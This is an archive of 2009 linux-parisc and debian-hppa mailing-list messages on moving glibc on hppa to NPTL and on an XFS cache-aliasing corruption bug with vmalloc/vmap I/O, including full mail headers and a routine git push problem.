The following patches implement version 2 of the NPTL upgrade for
hppa. This second version is a rewrite of internal pthread structures
and is 100% ABI backwards compatible. All old applications will run
with the new glibc, including during partial upgrades.

I have tested the following patches with eglibc_2.10.1-0exp1, the
testing has included the standard glibc regression testing, simulation
of partial upgrades, and heavy chroot testing with Xnest, and several
large multithreaded UI applications (evince, xchat, nautilus,
gnome-session etc). All tests succeeded.

* Please add the following patch to the hppa set of patches:
http://www.parisc-linux.org/~carlos/debian-final_glibc-ports-hppa-nptl.diff

* Please use this exepcted testsuite failures file:
http://www.parisc-linux.org/~carlos/debian-final_expected-results-hppa-linux-gnu-libc

* Please remove the hppa/local-nptl-compat.diff patch from the patch series.

* Please enable nptl in sysdeps/hppa.mk.

Feel free to roll out the nptl upgrade whenever is convenient for you.
I will be checking in an identical patch to glibc ports later tonight.

Please email me directly if anything is wrong or you need help.

Grant, Petr, Aurelian, thank you for reviewing this patch.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavok@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Transition hppa from linuxthreads to nptl is ready to proceed.
Followup-To: gmane.linux.debian.ports.hppa
Date: Tue, 8 Sep 2009 12:59:08 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20090908105908.GA7532__31845.2725922272$1252407893$gmane$org@raptus.dandreoli.com>
References: <119aab440909071454s7923b95atce6f5f5a7e5b469d@mail.gmail.com>
 <200909080034.30234.elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252407893 14921 80.91.229.12 (8 Sep 2009 11:04:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 11:04:53 +0000 (UTC)
Cc: GNU Libc Maintainers <debian-glibc@lists.debian.org>
To: debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 13:04:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MkyVB-0006VC-3L
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Sep 2009 13:04:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754233AbZIHLEk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 07:04:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754416AbZIHLEk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 07:04:40 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:61078 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754233AbZIHLEj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 07:04:39 -0400
Original-Received: by bwz19 with SMTP id 19so2102790bwz.37
        for <linux-parisc@vger.kernel.org>; Tue, 08 Sep 2009 04:04:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:received:resent-from
         :resent-date:resent-message-id:resent-to:date:from:to:cc:subject
         :message-id:mail-followup-to:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=9qb1B1TiF/vFnSEeUTD5JF/7RI9oFF27sV2F7PQm1Hw=;
        b=iKIMC4pHgA+Od1i9YEH4s8ED+BWutWH0d9og6D0zk/YbCPXk3mmYVSyjWl0a0oRi/b
         XkupJz4bapwTFXh8lA8j2PkvUHhHI6LRCvVlc1gMknJDQ8TrtlGXwIeFi8YDhj3konc1
         hjAjfq/lRnby+0YW6Er9tHv7Uo09bKmhgr67M=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:resent-from:resent-date:resent-message-id:resent-to:date
         :from:to:cc:subject:message-id:mail-followup-to:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        b=Gg1TDILKO701igptS2jekDK65yWUZ9UQ34eQt8UczPI4lf9hzq5RuAItsrHSsIwn9r
         0rLrh+J9LXCugJoX6abv1e/hkBbIqoz+l5EgwmKpxoxkMRE0jsjJnxnpIHvSaW8N/56e
         wC/6ArawRtt/T18IuiblouTbOrCxS2cShQFtA=
Original-Received: by 10.103.64.19 with SMTP id r19mr6587438muk.8.1252407880693;
        Tue, 08 Sep 2009 04:04:40 -0700 (PDT)
Original-Received: from raptus.dandreoli.com (host213-84-dynamic.44-79-r.retail.telecomitalia.it [79.44.84.213])
        by mx.google.com with ESMTPS id j10sm555410muh.35.2009.09.08.04.04.40
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 08 Sep 2009 04:04:40 -0700 (PDT)
Original-Received: by raptus.dandreoli.com (Postfix, from userid 1000)
	id C7692BD9A7; Tue,  8 Sep 2009 13:04:37 +0200 (CEST)
Mail-Followup-To: debian-hppa@lists.debian.org,
	GNU Libc Maintainers <debian-glibc@lists.debian.org>
Content-Disposition: inline
In-Reply-To: <200909080034.30234.elendil@planet.nl>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2109
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2109>

On Tue, Sep 08, 2009 at 12:34:29AM +0200, Frans Pop wrote:
> Carlos O'Donell wrote:
> > I have tested the following patches with eglibc_2.10.1-0exp1, the
> > testing has included the standard glibc regression testing, simulation
> > of partial upgrades, and heavy chroot testing with Xnest, and several
> > large multithreaded UI applications (evince, xchat, nautilus,
> > gnome-session etc). All tests succeeded.
> 
> Congratulations Carlos. Excellent job!
> 
> Many thanks to you and all others who have worked (and are working) on 
> this.

Really Cool. Thank you.

cheers,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://people.debian.org/~cavok/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Transition hppa from linuxthreads to nptl is ready to proceed.
Date: Tue, 8 Sep 2009 13:57:35 -0400
Organization: wh0rd.org
Lines: 55
Approved: news@gmane.org
Message-ID: <200909081357.37995.vapier@gentoo.org>
References: <119aab440909071454s7923b95atce6f5f5a7e5b469d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2278468.tGZeLkmCNM";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252432671 4766 80.91.229.12 (8 Sep 2009 17:57:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 17:57:51 +0000 (UTC)
Cc: Debian HPPA Port List <debian-hppa@lists.debian.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	Aurelien Jarno <aurelien@aurel32.net>,
	Petr Salinger <Petr.Salinger@seznam.cz>,
	Grant Grundler <grundler@parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 19:57:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ml4wn-00063g-Hz
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Sep 2009 19:57:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751878AbZIHR5h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 13:57:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751785AbZIHR5h
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 13:57:37 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:48485 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751878AbZIHR5g (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 13:57:36 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 63ADA65AA7;
	Tue,  8 Sep 2009 17:57:38 +0000 (UTC)
User-Agent: KMail/1.12.1 (Linux/2.6.30.5; KDE/4.3.1; x86_64; ; )
In-Reply-To: <119aab440909071454s7923b95atce6f5f5a7e5b469d@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2110 gmane.linux.debian.ports.hppa:6012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2110>

--nextPart2278468.tGZeLkmCNM
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Monday 07 September 2009 17:54:01 Carlos O'Donell wrote:
> The following patches implement version 2 of the NPTL upgrade for
> hppa. This second version is a rewrite of internal pthread structures
> and is 100% ABI backwards compatible. All old applications will run
> with the new glibc, including during partial upgrades.
>=20
> I have tested the following patches with eglibc_2.10.1-0exp1, the
> testing has included the standard glibc regression testing, simulation
> of partial upgrades, and heavy chroot testing with Xnest, and several
> large multithreaded UI applications (evince, xchat, nautilus,
> gnome-session etc). All tests succeeded.
>=20
> * Please add the following patch to the hppa set of patches:
> http://www.parisc-linux.org/~carlos/debian-final_glibc-ports-hppa-nptl.di=
ff

any reason for not pushing this (and all the other hppa patches) to the gli=
bc=20
ports tree ?  it isnt like you'll be breaking anything that isnt already=20
broken, and it'll make it easier for people to play with mainline glibc.
=2Dmike

--nextPart2278468.tGZeLkmCNM
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.11 (GNU/Linux)

iQIcBAABAgAGBQJKppsRAAoJEEFjO5/oN/WBOScP/2zaPk/1G6PeU8OQk4TaLBuz
IZ0kEkNbWLidRIayVBgaABaJFpFu8mU7wj0AK/dRUL7uZllcl8J5U+R7fVKs07Ax
m1gaxsWM1XyyOrZBDFa0FS1huMGJtr1t/KVwJ7ldbJYtpIc31d5ipZ11QnquoS/w
S+5Ljtzf8nB4AMazKno3iezYVT53OwyCup3hadNs7NIBq8dX/+1EGXZuha9HYjwF
06VFlvADu1mllz0wP6bHMIFnSwbLg2mWiSYQaLaUD4MjoH67u4chAjUzWEYWXHoj
NDaFgKzySZt8SlwbwpGTAE1E6gLrq3vq2ns6WWQr/IXxLwplNdwiY88tVM7RLUhb
VzGqm0izBbhVxzWeQmsteGY/iM5CB20CDiDbkJgCtFhpBIdrw64MaEVMy2HyzzSj
QxAwbHaI1rDu/tiklyuYJwPF6X5Gte+o1WZUSyz5HNp5TP8bVh570vN1wr9OEoXb
f17uayDbhBEG2Ppv7/2HDxRVKh5pD4eyvDDGlr0PXdRha0xssV54LXtW9ZrHT89Y
mSc1jo4O+MqbzsuNBD3VnY+MEQD4RWlZZ9XLmeD3P0OF6why876qqQ5AkCnY2wXb
7sdA9MVIL1K5TAUhnni4/1K+2o7E99lvnmW+m4KEMeREKxLY4VkwqkyxuEnvM5Xx
Mb5NyehJtacAFUZi4sdj
=u9Tc
-----END PGP SIGNATURE-----

--nextPart2278468.tGZeLkmCNM--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Transition hppa from linuxthreads to nptl is ready to proceed.
Date: Tue, 8 Sep 2009 14:04:17 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <119aab440909081104s206d64dbxba7ef011839b2822@mail.gmail.com>
References: <119aab440909071454s7923b95atce6f5f5a7e5b469d@mail.gmail.com>
	 <200909081357.37995.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1252433081 6271 80.91.229.12 (8 Sep 2009 18:04:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 18:04:41 +0000 (UTC)
Cc: Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Aurelien Jarno <aurelien@aurel32.net>,
	Petr Salinger <Petr.Salinger@seznam.cz>,
	Grant Grundler <grundler@parisc-linux.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 20:04:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ml53P-0008K0-5Z
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Sep 2009 20:04:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751740AbZIHSE1 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 14:04:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751945AbZIHSE1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 14:04:27 -0400
Original-Received: from mail-fx0-f217.google.com ([209.85.220.217]:44532 "EHLO
	mail-fx0-f217.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751740AbZIHSE0 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 14:04:26 -0400
Original-Received: by fxm17 with SMTP id 17so2838818fxm.37
        for <linux-parisc@vger.kernel.org>; Tue, 08 Sep 2009 11:04:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=PHfreBNzNBR5NSaEgGv2LTaf5DFZEii+k2Kntxu9FG4=;
        b=YiWsP0tMlTE0C9bKxqJ8gw65CHTnx5n3EG2B01K2m5Zh/O89IELR5/AInRARYI9XvA
         uXaD6N0GFHuSDfOpT9iF/eb7DsyVlpPBaGJKqpKBYV/XZ2aUG2eESJGu7aeuRG2ENvRK
         +vx6TpP8ZfB1fAgGhTdGhWVmMtCOtLcZ6fjss=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=i2byYKKciEzKpa0nQOIFW5kwlNu5f1G4W7qnasvWMZ7ki8EjXXCHovfrWPT/jukhQC
         zrdEMSBaIoH0KU7BAiofJoXpbnctiEphbsv3gU63NvYV70Ad0rSZ5eA9s+R73k50Pc9T
         5V/h6f3FKiBZ7MgPERS6uLCMZXASWhk4OJH3k=
Original-Received: by 10.204.36.207 with SMTP id u15mr13567637bkd.39.1252433061122; 
	Tue, 08 Sep 2009 11:04:21 -0700 (PDT)
In-Reply-To: <200909081357.37995.vapier@gentoo.org>
X-Google-Sender-Auth: 4cad33d9349c391c
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2111 gmane.linux.debian.ports.hppa:6013
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2111>

On Tue, Sep 8, 2009 at 1:57 PM, Mike Frysinger<vapier@gentoo.org> wrote=
:
> On Monday 07 September 2009 17:54:01 Carlos O'Donell wrote:
>> The following patches implement version 2 of the NPTL upgrade for
>> hppa. This second version is a rewrite of internal pthread structure=
s
>> and is 100% ABI backwards compatible. All old applications will run
>> with the new glibc, including during partial upgrades.
>>
>> I have tested the following patches with eglibc_2.10.1-0exp1, the
>> testing has included the standard glibc regression testing, simulati=
on
>> of partial upgrades, and heavy chroot testing with Xnest, and severa=
l
>> large multithreaded UI applications (evince, xchat, nautilus,
>> gnome-session etc). All tests succeeded.
>>
>> * Please add the following patch to the hppa set of patches:
>> http://www.parisc-linux.org/~carlos/debian-final_glibc-ports-hppa-np=
tl.diff
>
> any reason for not pushing this (and all the other hppa patches) to t=
he glibc
> ports tree ? =A0it isnt like you'll be breaking anything that isnt al=
ready
> broken, and it'll make it easier for people to play with mainline gli=
bc.

It would have been upstream *before* the email went out, but my git-fu
is incredibly weak.

I've been talking to Roland about my problems with pushing upstream
(and the accidental branch I created on glibc.git).

git push -v
Pushing to git://sourceware.org/git/glibc-ports.git
fatal: The remote end hung up unexpectedly

git remote show origin
* remote origin
  URL: git://sourceware.org/git/glibc-ports.git
  HEAD branch: master
=2E..
  Local branch configured for 'git pull':
    master merges with remote master
  Local ref configured for 'git push':
    master pushes to master (fast forwardable)

I don't know what's wrong here. AFAICT it should just work, I've been
using `git pull --rebase` to keep my repo updated.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.file-systems
Subject: xfs failure on parisc (and presumably other VI cache systems)
 caused by I/O to vmalloc/vmap areas
Date: Tue, 08 Sep 2009 13:27:49 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <1252434469.13003.3.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252434487 11213 80.91.229.12 (8 Sep 2009 18:28:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 18:28:07 +0000 (UTC)
Cc: Christoph Hellwig <hch@lst.de>
To: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Tue Sep 08 20:28:00 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ml5Q7-0007xZ-FV
	for glka-linux-arch@lo.gmane.org; Tue, 08 Sep 2009 20:27:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752162AbZIHS1y (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 8 Sep 2009 14:27:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751991AbZIHS1y
	(ORCPT <rfc822;linux-arch-outgoing>); Tue, 8 Sep 2009 14:27:54 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:38592 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751362AbZIHS1x (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Tue, 8 Sep 2009 14:27:53 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id A0EC54844E;
	Tue,  8 Sep 2009 20:27:55 +0200 (CEST)
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4347 gmane.linux.ports.parisc:2112 gmane.linux.file-systems:35100
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2112>

This bug was observed on parisc, but I would expect it to affect all
architectures with virtually indexed caches.

The inception of this problem is the changes we made to block and SCSI
to eliminate the special case path for kernel buffers.  This change
forced every I/O to go via the full scatter gather processing.  In this
way we thought we'd removed the restrictions about using vmalloc/vmap
areas for I/O from the kernel. XFS acually took advantage of this, hence
the problems.

Actually, if you look at the implementation of blk_rq_map_kern(), it
still won't accept vmalloc pages on most architectures because
virt_to_page() assumes an offset mapped page ... x86 actually has a bug
on for the vmalloc case if you enable DEBUG_VIRTUAL).  The only reason
xfs gets away with this is because it builds the vmalloc'd bio manually,
essentially open coding blk_rq_map_kern().

The problem comes because by the time we get to map scatter gather
lists, all we have is the page, we've lost the virtual address.  There's
a macro: sg_virt() which claims to recover the virtual address, but all
it really does is provide the offset map of the page physical address.
This means that sg_virt() returns a different address from the one the
page was actually used by if it's in a vmalloc/vmap area (because we
remapped the page within the kernel virtual address space).  This means
that for virtually indexed caches, we end up flushing the wrong page
alias ... and hence corrupting data because we do DMA with a possibly
dirty cache line set above the page.

The generic fix is simple:  flush the potentially dirty page along the
correct cache alias before feeding it into the block routines and losing
the alias address information.

The slight problem is that we don't have an API to handle this ...
flush_kernel_dcache_page() would be the correct one except that it only
takes a page as the argument, not the virtual address.  So, I propose as
part of this change to introduce a new API:  flush_kernel_dcache_addr()
which performs exactly the same as flush_kernel_dcache_page except that
it flushes through the provided virtual address (whether offset mapped
or mapped via vmalloc/vmap).

I'll send out the patch series as a reply to this email.

James



From - Thu Nov 08 21:04:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Transition hppa from linuxthreads to nptl is ready to proceed.
Date: Tue, 8 Sep 2009 14:35:17 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <119aab440909081135n76898ac8o49adcb9d221da5fa@mail.gmail.com>
References: <119aab440909071454s7923b95atce6f5f5a7e5b469d@mail.gmail.com>
	 <200909081357.37995.vapier@gentoo.org>
	 <119aab440909081104s206d64dbxba7ef011839b2822@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1252434931 12929 80.91.229.12 (8 Sep 2009 18:35:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 18:35:31 +0000 (UTC)
Cc: Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Aurelien Jarno <aurelien@aurel32.net>,
	Petr Salinger <Petr.Salinger@seznam.cz>,
	Grant Grundler <grundler@parisc-linux.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 20:35:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ml5XG-0001r8-71
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Sep 2009 20:35:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752204AbZIHSfR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 14:35:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752270AbZIHSfR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 14:35:17 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:55275 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752204AbZIHSfQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 14:35:16 -0400
Original-Received: by bwz19 with SMTP id 19so2435142bwz.37
        for <linux-parisc@vger.kernel.org>; Tue, 08 Sep 2009 11:35:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=bLuy+uJMj4+emVPpV7krFBERDixtBinCYoEJJFLveyg=;
        b=HNMnbvS3ojHP5crHaGMk/lq7UNbXkWXxwBWWpQZmargAP4hg1TXB66nad9OhwSeWMO
         N3mL70nx25hS/vNNgntDUjWh2ABkXENnljmx6r8HbDVvsN15sNl5wu0bn08k+PVwV81o
         nPZb42Tv/3ku6IYq3S1gh1S/1/mAtqgqgglDs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=w1AljOdGMAdWncihqfffmhdrcdI28+PiLcRbr9kpXDfb9QKevDRamfEFhNp9djyoGP
         Wmg63I2upTZA5rYqnSxHfrLTh69U6+qWaoMI3MGtpN72Nkjl2TGxaGqyUX2jztzTcdaw
         DfbdxUrtBw/ceeonIWhVYuajgloCVM2aHutRA=
Original-Received: by 10.204.34.201 with SMTP id m9mr13537784bkd.77.1252434917783; Tue, 
	08 Sep 2009 11:35:17 -0700 (PDT)
In-Reply-To: <119aab440909081104s206d64dbxba7ef011839b2822@mail.gmail.com>
X-Google-Sender-Auth: bbf7b791940310f4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2113 gmane.linux.debian.ports.hppa:6014
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2113>

On Tue, Sep 8, 2009 at 2:04 PM, Carlos O'Donell<carlos@systemhalted.org> wrote:
> git push -v
> Pushing to git://sourceware.org/git/glibc-ports.git
> fatal: The remote end hung up unexpectedly

Oh gosh this was lame, I kept checking out "git://" urls when I meant
to checkout the "ssh://" url.

Checking out the "ssh://" url (for which I have keys to sourceware)
allowed me to checkin the patches.

Checked in here:
http://sourceware.org/git/?p=glibc-ports.git;a=commit;h=be0f2008ac41c83db39d1d1112c0392dbb8b18e9

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: Re: xfs failure on parisc (and presumably other VI cache systems)
	caused by I/O to vmalloc/vmap areas
Date: Tue, 8 Sep 2009 20:00:31 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20090908190031.GF6538@flint.arm.linux.org.uk>
References: <1252434469.13003.3.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252436463 18202 80.91.229.12 (8 Sep 2009 19:01:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 19:01:03 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: James Bottomley <James.Bottomley@suse.de>
